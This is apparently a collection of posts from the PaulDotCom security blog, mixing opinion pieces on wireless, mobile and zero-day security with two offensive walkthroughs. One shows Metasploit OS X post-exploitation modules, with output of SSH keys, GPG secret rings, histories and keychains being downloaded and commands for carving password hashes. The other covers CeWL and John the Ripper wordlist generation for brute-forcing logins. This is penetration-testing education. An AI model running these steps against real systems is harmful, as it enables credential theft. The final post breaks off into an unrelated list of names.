And this is why we drink. Dave explores the reasons why people do things, like MAC address filtering and hiding their SSID instead of using strong passwords. We see this happen a lot in the corporate world too, people implement security that is easy, not what works. Seems to me that there needs to be a shift of focus. Let’s focus on the hard stuff, like passwords, authentication, physical security, client security, and other stuff that I have probably told people they need to do. Yet, we keep marching down the Firewall/IDS/IPS/Anti-Virus route. Dave brings up two more great points: People think they don't have to defend against the best hacker's in the world, yet the best hackers in the world create tools that people use. Secondly, he questions why we are doing things backwards, as in using simple passwords but implementing hidden SSIDs and MAC filtering.

Further, we see this repeated time and time again when we look at the reality of how humans think. Need to lose weight? Work out and eat less. Plain, simple and to the point. But that does not sell. Want to secure your network? Baseline your systems, monitor, drill and train. Then, drill and train again. Or, you could try to purchase another Bright Shiny Object (BSO, thanks Michelle) and hope, this time, it works.

As for your family. We need to start training them how to be more responsible. For adults this can be hard. However, for younger kids we can start to teach them what things to avoid.

What something to avoid might look like...

For example, don’t post crazy pictures of yourself on Facebook. Don’t post naked pictures online or keep them on your phone. How about no naked pictures at all? How about don’t click on links from strangers?

The reason I bring these things up in relation to the younger generations is because I believe there is hope for them. The rest of us, that have been here since before the Internet became a "thing," are set in our ways that were formulated when a gig hard-drive was massive.

Sure, this belief in the younger generations may be misplaced. But I will have faith anyway.

What is the worst that can happen?

-PaulDotCom and strandjs

Originally on episode 232.

Hello boys and girls!

Carlos was kind enough to share some of his brand new OS X post exploitation kung-fu during episode 232.

I know there are a lot of you that still like to believe that OS X does not really matter. However, it is finally getting a respectable market share of 10.9%. And, while it may be fun to bash on Apple from time to time, you will stop laughing when you need to exploit an OS X system and pull data from the target machine. Thankfully, Carlos has made the process of post exploitation far easier for all of us. For that we all owe him a beer or two. After all, the only thing Paul has done successfully with a Mac over the past few years from a post-exploitation perspective was pour beer in his Mac.

So, on to the good stuff.

in today's write-up we will cover 2 new enumeration modules against OS X machines that where added to Metasploit. These modules are:

- use post/osx/gather/enum_osx

- use post/osx/gather/hashdump

We will cover the shell commands used by the modules themselves. One of the advantages of post exploitation modules versus the typical Meterpreter script is that they can be written to be used against both shell and Meterpreter. This initial OS X modules are written and tested for shell but many of the tasks are already written to work for Meterpreter once some issues with the Java Meterpreter are fixed.

Lets start with the OS X Enumeration module. For reasons of demo you will see that we have 2 shell sessions:

 msf exploit(handler) > sessions

 

 Active sessions

 ===============

 

  Id  Type       Information  Connection

  --  ----       -----------  ----------

  1   shell osx               192.168.1.100:4446 -> 192.168.1.100:54010

  2   shell osx               192.168.1.100:4446 -> 192.168.1.100:54013

Session 1 is running as a regular user on a OS X Snow Leopard target and Session 2 is running as root on the same box. The enumeration script will alter its behavior depending on the privilege level it sees it has on the target box and also will alter the commands depending on the version of OSX it is running against. To select the module we use the use command and after selecting we can have a look at the info of the module and the options it provides:

 msf exploit(handler) > use post/osx/gather/enum_osx 
 msf post(enum_osx) > info
 
       Name: Mac OS X Information Enumeration
     Module: post/osx/gather/enum_osx
    Version: 11816
   Platform: OSX
       Arch: 
       Rank: Normal
 
 Provided by:
  Carlos Perez carlos_perez@darkoperator.com
 
 Description:
  This module does initial gathering of information from OSX Tiger, 
  Leopard and Snow Leopard System
 
 
 msf post(enum_osx) > show options
 
 Module options (post/osx/gather/enum_osx):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

To specify a session to run against we just set the option in the Datastore to the number of the session we want to run against

 msf post(enum_osx) > set SESSION 1
 SESSION => 1

once we have a session selected the only thing we need to do is issue the command run

 msf post(enum_osx) > run

 

 [*] Running module against loki.local

 [*] Saving all data to /Users/cperez/.msf3/logs/post/enum_osx/loki.local_20110224.0303

 [*]     Enumerating Development Tools

 [*]     Enumerating Airport

 [*]     Enumerating Applications

 [*]     Enumerating Ethernet

 [*]     Enumerating Bluetooth

 [*]     Enumerating Logs

 [*]     Enumerating Known Networks

 [*]     Enumerating Firewall

 [*]     Enumerating USB

 [*]     Enumerating OS

 [*]     Enumerating Network

 [*]     Enumerating StartUp

 [*]     Enumerating Printers

 [*]     Enumerating Preference Panes

 [*]     Enumerating Frameworks

 [*]     Enumerating Environment Variables

 [*]     Enumerating UDP Connections

 [*]     Enumerating TCP Connections

 [*]     Enumerating Current Activity

 [*]     Enumerating Process List

 [*]     Enumerating Last Boottime

 [*]     Enumerating Groups

 [*]     Enumerating Users

 [*] .ssh Folder is present

 [*]     Downloading config

 [*]     Downloading id_dsa

 [*]     Downloading id_dsa.pub

 [*]     Downloading known_hosts

 [*] .gnupg Folder is present

 [*]     Downloading gpg.conf

 [*]     Downloading pubring.gpg

 [*]     Downloading pubring.gpg~

 [*]     Downloading random_seed 

 [*]     Downloading secring.gpg

 [*]     Downloading trustdb.gpg

 [*] Capturing screenshot

 [*] Screenshot Captured

 [*] Extracting bash history

 [*]     History file .bash_history found for cperez

 [*]     Downloading .bash_history

 [*]     History file .irb_history found for cperez

 [*]     Downloading .irb_history

 [*]     History file .scapy_history found for cperez

 [*]     Downloading .scapy_history

 [*]     History file .sh_history found for cperez

 [*]     Downloading .sh_history

 [*]     History file .sqlite_history found for cperez

 [*]     Downloading .sqlite_history

 [*] Enumerating and Downloading keychains for cperez

 [*] Post module execution completed

 msf post(enum_osx) > 

As it can be seen the modules gathers a lot of data on the target system starting with configuration, network connection, account information and list of processes, Once it gets all of that info it will check for .ssh and ,gnupg configuration folders and download all configuration files down to the attackers machine. It will do a screen capture followed by the enumeration of any history file found in the users home folder and downloads those. If it is running as root it will extract the SHA1 hashes for the users on the box, if the box is sharing a Samba Share or talks to AD it will also extract the NTLM and LM hashes for the users creating separate files in John the Ripper format for each encryption scheme.

Most of the data collected for configuration is gathered using the system_profiler command, it works by specifying the data type which correspond to a configuration are that we want the information for, to list the supported data types we run the command with -listDataTypes:

 loki:~ cperez$ system_profiler -listDataTypes
 Available Datatypes:
 SPHardwareDataType
 SPNetworkDataType
 SPSoftwareDataType
 SPParallelATADataType
 SPAudioDataType
 SPBluetoothDataType
 SPCardReaderDataType
 SPDiagnosticsDataType
 SPDiscBurningDataType
 SPEthernetDataType
 SPFibreChannelDataType
 SPFireWireDataType
 SPDisplaysDataType
 SPHardwareRAIDDataType
 SPMemoryDataType
 SPPCIDataType
 SPParallelSCSIDataType
 SPPowerDataType
 SPPrintersDataType
 SPSASDataType
 SPSerialATADataType
 SPUSBDataType
 SPAirPortDataType
 SPFirewallDataType
 SPNetworkLocationDataType
 SPModemDataType
 SPNetworkVolumeDataType
 SPWWANDataType
 SPApplicationsDataType
 SPDeveloperToolsDataType
 SPExtensionsDataType
 SPFontsDataType
 SPFrameworksDataType
 SPLogsDataType
 SPManagedClientDataType
 SPPrefPaneDataType
 SPStartupItemDataType
 SPSyncServicesDataType
 SPUniversalAccessDataType

For connection the netstat command is used

# netstat -np tcp


# netstat -np udp

To get Environment variables we used

# printenv

For Boot Time and current activity the who command

# who -b

# who

For processes

# ps -ea

For enumerating users and groups it varies per version of the OS, for Leopard and above:

# dscacheutil -q user

# dscacheutil -q group

For Tiger and bellow:

# lookupd -q user

# lookups -q group

For Screenshot of the following command is used:

As Root:

# launchctl bsexec {loginwindow PID} screencapture -x screenshot.jpg 

As User:

$ screencapture -x screenshot.jpg 

For history files the following regex is used to match the most common history file names

\.\w*\_history

This will match any hidden file with the word history at the end.

For dumping hashes the module must run as root, OS X does not store the credentials in a passed or master.passwd file but more like HPUX Trusted mode in individual files by account. Firs thing is we need to get the GUID of the account to do this we run

Leopard and Above:

# dscl localhost -read /Search/Users/{user} | grep GeneratedUID | cut -c15-

Tiger:

# niutil -readprop . /users/{user} generateduid

Now with the GUID we can carve the file with the hashes, the modules carves out SHA, LM and NTLM hashes:

• SHA1:

#/bin/cat /var/db/shadow/hash/{guid}  | cut -c169-216

• NTLM:

# /bin/cat /var/db/shadow/hash/{guid}  | cut -c1-32

• LM:

# /bin/cat /var/db/shadow/hash/{guid}  | cut -c33-64

The last thing the module does is enumerate all keychain files for the users and download them:

• As User:

$ security list-keychains

• As Root:

# sudo -u {username} -i /usr/bin/security list-keychains

I fully expect there will be more from an OS X exploitation perspective over the next few months and years. It is comforting to know that Carlos is already ahead of the curve when it comes to post exploitation on this fine platform.

Brought to you by: Darkoperator and strandjs

Originally discussed during episode 231

Holy crap, do I not agree with this article in the least. The general consensus form the article is that, because we can count the number of actual mobile malware infections on one hand, we should take a lackadaisical attitude towards it because: The phones are typically more "closed," making it more difficult to exploit (cough, bullsh1t, cough), the only way of infiltrating is through an app store (oh sure, every line of code is examined, even through "third party" stores), and Windows is still dominant, versus a plethora of smartphone software and OS versions (I call bull$hit here too - just think about the times you've tried to exploit a box but it was the wrong service pack, language, or point version of an application). Instead, how about chilling out about it, how about we make the industry BETTER around smartphone security before we end up with a sh1tstorm of activity.

Further, this article demonstrates a dangerous misunderstanding of a number of core security concepts, not to mention missing the point of what a security conference is about.

First, with the security concepts. The reason the bad guys have not gotten to the mobile platforms en-mass is because the money is not there . . . yet. Please, do a simple good search on mobile banking apps for iPhone and Android. You will see there is a big push to move towards these platforms. As people move the management of their daily lives more and more from the PC to their phones you will see the crime follow.

This brings me to the next point. The purpose of a security conference is to discuss future trends and to sound the alarm before the boat hits the iceberg.

We need to start to focus on this issue now. First, your data is moving this way. Secondly, there are very few security features built into these devices. Finally, there is little in the way of monitoring and management for these devices in a large-scale environment.

I really do not think I would like to be behind an article that says, "...[I felt] a lot more relaxed about the security of my smartphone...." Really?

Wow. It looks like this panel failed.

Brought to you by: haxorthematrix and strandjs

Originally discussed during episode 231

I still maintain that attackers will not take down the Internet, for the most part. So, there are types of attackers that want to do damage, so-called "Hacktivism" groups. However, these tend to be more targeted attacks, such as the DoS attacks launched by Anonymous against Paypal and other credit card companies. Most of the attackers are out there making big money on the Internet, and can't afford massive outages. Reports are that there is no public exploit, which I never believe. I just believe we haven't seen one in use.

I relate it to the mafia. If you study mafia history, you know its tough for a bunch of criminals to get along. They try to avoid a full-scale war within their families because "war is bad for business". Of course, they are criminals, and it happens from time to time, but for the most part it is (criminal) business as usual.

What "business as usual" might look like

The other thing we need to keep in mind about this is just how fragile things can be when we work in a monoculture. Granted, there are a number of issues that arise when we move away from monocultures, but we need to balance the pros and cons of both. For example, take a look at the system you are on right now. There is a wide variety of software that is installed which is consistently installed on almost all systems. Flash, Java, Adobe Acrobat, Firefox are just a few examples of software that is ubiquitous on almost all systems. But it does not stop there. Now, look at the protocols that everything supports. As we have seen in the past, even simple protocols that we all follow, like DNS, can have design issues in the way the RFCs are implemented that can lead developers down a bad path.

This will end well

So, what to do? To be quite honest, you need to look at the path data takes to and from the heart of your environment. For example, Internet > Edge Router > Firewall > IDS > Web Server > Database. If you look at this chain there is a particular vendor or product that produces all the products leading up to your Web Server. You may want to think through how you would deal with a vulnerability that impacts all of those products that make up your security support structure.

-PaulDotCom and strandjs

Originally on episode 232.

So many things wrong with that title. First off I think it should be 8 ways, but make #1 "Don't be douchebags."

Note to Mr: Evans Having your own show does not make you "cool"

Okay, so here's the list:

1. Don't assume what type of attack will manifest - That's some solid advice. You should prepare, within all acceptable reasons for your highest risk scenarios. We find that a lot of the people making "risk-based decisions" are the same people that believe they will be attacked by hackers like Angelina Jolie.

What Larry wishes all "Hackers" looked like

Rather, think of how normal, everyday people access data on your network. Why? Because that is most likely the path the bad guys will take.

2. Use tried and tested CMS - Sounds okay, but think about some of those alleged CMS‚ Joomla, Wordpress, etc. Not much better, but the argument against a custom system does have some merits. All CMS sucks. But that being said, there is something to being said for getting hacked and not paying six figures for the right because you paid for a custom piece of software. I may suck at math, but paying $150k+ and paying for a compromise is worse than just paying for the compromise.

3. Use strong password hashing - Fair, but even well-hashed passwords can be bruteforced with enough time and computing power. We've talked about passwords often enough that you know they are broken. Trust us, there is a huge difference between hashing/crypto like Lanman with a static key (hello KGS!@#$%) and crytp3 using sha256. If you do not know the difference, here is a hint - Rainbow Tables.

4. Use strong passwords - Ditto. Sure, but how about something better? Maybe we could look at passphrases? Look, I know this is going to be a shock to a lot of guys out there, but length matters. Most anything over 15 characters is going to take a long time to crack.

5. Don't reuse passwords - Very good advice, but mere mortals may have issues. Back to the password issue again.

6. Keep patches current - Yes, for known exploits, you should be doing this stuff, especially if it doesn't break functionality. Don't be slow about it either. I'd say to do restrictive firewalls and such, but the cases in point here wee privilege escalation, which means they are already on the box‚

7. User awareness of social engineering - Yes, yes 1000 time – yes! Even then it still won't sink in, you still should try. Yes, even "smart" security folks can fall for it, and get someone to open ports on your firewall. Just because it is a "dumb idea" does not mean you should not do it. The reason why user awareness sucks so bad, is because the training is awful. You really should look to working with some people who know how to do it and do it right.

Notice how they have his complete attention.. Best user-awareness training ever!

Brought to you by: haxorthematrix and strandjs

Originally discussed during episode 231

Hot off the heals of yesterday’s post!!!

I'm not trying to use buzzwords or get popular by using the term "0day threat" (in fact I hate the whole way we say "O-Day", it’s just annoying). In any case, there is an "O-Day" floating around for Microsoft systems, in particular the SMB service on Windows 2003 AD servers. Ouch. So you're probably saying, "But I have a firewall, IDS/IPS, Anti-Virus software, and patch management." So do a lot of people, which is why attackers use social engineering and "O-Day" attacks. You have to ask yourself, if someone wanted to target you, how successful could they be? What's stopping them from getting your users to click on a link or open an attachment? What stops your users from accessing SMB on your servers? How do your servers defend against a 0day attack? This is one reason why I love real-world hacking challenges. I've done several over the years, and it always starts out the same way. You have to defend the network for the first hour of the competition without a firewall and without patches. "But that’s not fair," people say, but that’s the real world. It’s like that scene from the movie "Dodgeball" where the coach has them all line up for training. He then takes out a giant wrench, and without warning, hurls it at one of the guys who gets clocked in the face. He then states, "If you can dodge a wrench, you can dodge a ball." So, if you can defend a "naked" network, you can certainly defend one with a firewall and other techniques. It’s not so much about protecting the attack to begin with, but what happens afterwards.

Further, if we look at defending without a firewall, without AV and missing patches it just so happens that your are getting frightfully close to the way the "real-world" is. AV can be easily bypassed. IDS is routinely sidestepped by simply using encryption or by the attackers using protocols you use to manage your network (SSL, SSH, RDP anyone?). So, with that in mind, how well can you defend your network?

Gun wins every time

Finally, sit down and think for a moment... How much would an attacker gain by obtaining access to your critical data? If the attacker can gain, say, a million credit card and they can get $1 on the black market for it, there is a significant up side for them to do this. If an attacker can gain one million by compromising your network, do you think there is a possibility they may go through the effort to develop or purchase 0day?

No friends, it has nothing to do with prevention anymore. It is now a questions of containment and detection.

-PaulDotCom and strandjs

Originally on episode 231.

Another great guest post from Dennis Antunes:
In Part 1 of this series, I barely scratched the surface of password brute forcing.

In this post I hope to go beyond the basics and demonstrate some approaches I use to significantly increase the quality of my tests as well as my chances of success.

Success?
Everyone measures success differently, but hopefully some of you will consider success using these techniques to convey the importance to your developers, customers, bosses, friends, spouses, etc. of selecting strong passwords for web-based authentication mechanisms. I am not talking simply about complexity, length, and so forth, although they of course help. Rather, I am referring to the quality of the password, something that is more difficult, but not impossible to enforce.

An example: Your password policy states you must use 3 out of the 4 of the following: upper, lower, numeric or special, and it must be at least 8 characters.
Password33 meets this requirement as does MhaLlwfl3z, but one is much more secure. How much, not sure, but practically speaking way more. I know in a pen test I will try Password33 against any and all your user accounts every time (and so would a script kiddie). The second one though? 9 seemingly unrelated characters? Doubtful.

Now, the second password is a take on a commonly known phrase (free gift to the first correct guesser). Extremely easy for me to remember, but hard for you to guess. Can it be guessed in an all-out brute force? Definitely, but hopefully I have other compensating controls in place: account lockout, IPS, admins with a clue, etc.

Its in the Dictionary, Stupid.
My point is, if you MUST rely upon only user name and password, you need to ensure your users are choosing passwords that are not easily guessable. Far better to use a non-dictionary word or a pass phrase. For example, I personally like to use song lyrics of my favorite artists, like this one: IlUoUlm33

Give up? Yes its Barney, a take on the epic "I love you, you love me" opus. See it now? Unforgettable, complex, simple and disturbing all at the same time.

Generating (supposedly) Complex Passwords For Cracking
Now starting with a decent password list, like RockYou's worst 500 (RY500 from here on out) mentioned in Part 1, I like to do a few things:

1. Run CeWL and concatenate w/ RY500
2. Mangle the expanded RY500 w/ JTR
3. Run a custom script based on the site's complexity rules for efficiency's sake.

Running CeWL
What cool is: CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper. Taken from http://www.digininja.org/projects/cewl.php.

That pretty much sums it up. Basically creates a nice list of words after crawling the site of your target. You can download it here. Be sure to read through the dependencies, documentation and usage examples as there a a couple gotchas.

./cewl.rb <target_domain> -w <outfile>

cat <outfile> RY500 > RY500_expanded

Mangling w/ JTR 
Next we need to mangle our expanded list with JTR. The default mangling rules included with john are nice, but Matt Weir has done great job of expanding on these, which is helpful, consider john's rule writing syntax at first can seem a bit arcane. Download his john_manglingrules.conf, backup your own john.conf and replace it with Matt's improved version.

I suggest you carefully read through Matt's file, do some experimentation with some short password lists and tweak as necessary. For example, his file appends 4 numerics to each password. This can result in a huge number of passwords, which may or may not be desired. You can edit his file before mangling or you can always do some post-processing or trimming later as needed.

john --rules --wordlist=RY500_expanded --stdout > RY500_mangled

./password_complexity_matcher.py RY500_mangled

JAMES SMITH
MARY SMITH
JOHN SMITH
PATRICIA SMITH
ROBERT SMITH
LINDA SMITH
.......
JAMES JOHNSON
MARY JOHNSON
JOHN JOHNSON
PATRICIA JOHNSON
ROBERT JOHNSON
LINDA JOHNSON